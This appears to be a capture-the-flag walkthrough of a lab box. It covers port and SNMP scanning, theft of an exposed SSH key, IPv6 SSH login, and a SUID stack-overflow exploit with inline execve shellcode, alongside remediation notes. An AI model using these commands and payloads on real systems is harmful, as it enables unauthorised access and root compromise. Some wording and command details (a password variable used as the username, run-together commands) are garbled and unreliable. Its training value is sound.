Sneaky
Summary
My port-scanned the target and found only a web server and an SNMP daemon reachable over IPv4 — SSH appeared closed. Directory fuzzing on the web server uncovered an unprotected developer directory that Apache served with directory listing enabled, containing a plainly named SSH private key that any visitor could download without authentication.
A separate SNMP sweep using the default 'public' community string extracted the host's IPv6 address from interface MIB tables, revealing an SSH daemon invisible to the IPv4 scan. The stolen key authenticated directly as local user '[REDACTED: recovered credential]' over IPv6 SSH, yielding a shell and the user flag.
On the host, a custom SUID-root 32-bit binary named 'chal' was compiled without a stack canary, with the non-executable stack protection (NX) disabled, and without address-space randomisation — every modern memory-safety control was absent. A stack buffer overflow with shellcode injection escalated my to root, achieving complete system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -p- --min-rate 3000 -T4 -Pn -sV $TARGETnmap -sU -p 161 --min-rate 3000 -Pn $TARGETExact commands 2
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://$TARGET/FUZZ -mc 200,301,302,403ffuf -w /usr/share/wordlists/dirb/common.txt -u http://$TARGET/dev/FUZZ -mc 200,301,302,403FixRemove the SSH private key from the web server and disable directory listingCritical
Exact commands 2
curl -s -o id_rsa http://$TARGET/dev/sshkeyforadministratordifficulttimes && chmod 600 id_rsafile id_rsaExact commands 2
snmpwalk -v2c -c public -On $TARGET 1.3.6.1.2.1.4.34.1.3snmpwalk -v2c -c public -On $TARGET 1.3.6.1.2.1.2.2.1FixDisable SNMP or replace the default community string and restrict query accessHigh
Exact commands 2
ssh -6 -i id_rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null $PASSWORD@dead:beef::a0de:adff:feec:9d7cid && cat /home/$PASSWORD/user.txtExact commands 4
find / -perm -4000 -type f -exec ls -la {} + 2>/dev/nullscp -6 -i id_rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null $PASSWORD@'[dead:beef::a0de:adff:feec:9d7c]':/usr/local/bin/chal ./chalfile chal && checksec --file=chalobjdump -d -M intel chal | grep -A 20 '<main>'FixRemove the unsafe SUID binary or recompile it with full memory-safety protectionsCritical
Exact commands 7
python3 -c "from pwn import cyclic; open('pattern','wb').write(cyclic(600))"gdb -q -ex 'run $(cat pattern)' -ex 'info registers eip' -ex quit ./chal 2>&1 | grep eippython3 -c "from pwn import cyclic_find, p32; print(cyclic_find(p32(0xAABBCCDD)))"gdb -q -ex 'run $(python3 -c "print(\"A\"*400)")' -ex 'info registers esp' -ex quit ./chal 2>&1 | grep esppython3 -c "import struct; nop=b'\x90'*100; sc=b'\x6a\x17\x58\x31\xdb\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'; pad=b'A'*(362-len(nop)-len(sc)); ret=struct.pack('<I',0xbffff9b0-200); open('/tmp/payload','wb').write(nop+sc+pad+ret)"scp -6 -i id_rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null /tmp/payload $PASSWORD@'[dead:beef::a0de:adff:feec:9d7c]':/tmp/payloadssh -6 -i id_rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null $PASSWORD@dead:beef::a0de:adff:feec:9d7c '/usr/local/bin/chal "$(cat /tmp/payload)" && cat /root/root.txt'Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 80/tcp | http |
| 161/udp | snmp |
| 22/tcp | ssh |